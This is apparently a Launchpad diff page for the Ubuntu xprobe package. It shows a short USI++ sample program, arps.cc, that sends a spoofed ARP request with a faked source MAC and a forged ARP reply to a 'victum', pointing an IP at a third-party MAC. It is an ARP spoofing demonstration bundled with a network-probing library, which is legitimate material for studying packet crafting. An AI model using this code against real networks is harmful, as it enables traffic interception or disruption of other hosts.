~ubuntu-branches/ubuntu/karmic/xprobe/karmic

« back to all changes in this revision

Viewing changes to libs-external/USI++/samples/arps.cc

  • Committer: Bazaar Package Importer
  • Author(s): Richard Atterer
  • Date: 2005-02-22 22:54:24 UTC
  • mfrom: (1.2.1 upstream) (2.1.2 hoary)
  • Revision ID: james.westby@ubuntu.com-20050222225424-6cqy8rr45pkna819
Tags: 0.2.2-1
New upstream version

Show diffs side-by-side

added added

removed removed

Lines of Context:
 
1
#include <usi++/usi++>
 
2
#include <usi++/arp.h>
 
3
#include <iostream>
 
4
 
 
5
using namespace usipp;
 
6
 
 
7
 
 
8
int main()
 
9
{
 
10
        unsigned char smac[] = {0, 0x40, 5, 0x6d, 0x1a, 0x90},          // dest-MAC
 
11
                      dmac[] = {0, 0x40, 5, 0x6d, 0x1a, 0x8f},          // our MAC (eth0)
 
12
                      rnd[]  = {1, 2, 3, 4, 5, 6},
 
13
                      bc[] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};      // broadcast-MAC
 
14
             
 
15
        ARP *req = new ARP("eth0", 0, smac /* source faked */, bc);
 
16
        ARP *rep = new ARP("eth0", 0, rnd  /* 3rd-party MAC */, smac /* answer to victum */);
 
17
    
 
18
        req->set_op(ARPOP_REQUEST);
 
19
        req->set_tpa("1.1.2.2", ETH_P_IP);
 
20
        req->set_spa("192.0.0.7", ETH_P_IP);
 
21
        req->set_tha(bc, ARPHRD_ETHER);
 
22
        req->set_sha(smac, ARPHRD_ETHER);
 
23
 
 
24
        req->sendpack("");
 
25
        delete req;
 
26
        
 
27
        rep->set_op(ARPOP_REPLY);
 
28
        rep->set_tpa("192.0.0.7", ETH_P_IP);
 
29
        rep->set_spa("1.1.2.2", ETH_P_IP);
 
30
        rep->set_tha(smac, ARPHRD_ETHER);
 
31
        rep->set_sha(rnd, ARPHRD_ETHER);
 
32
        rep->sendpack("");
 
33
        delete rep;
 
34
        
 
35
        return 0;
 
36
}
 
37
 
 
38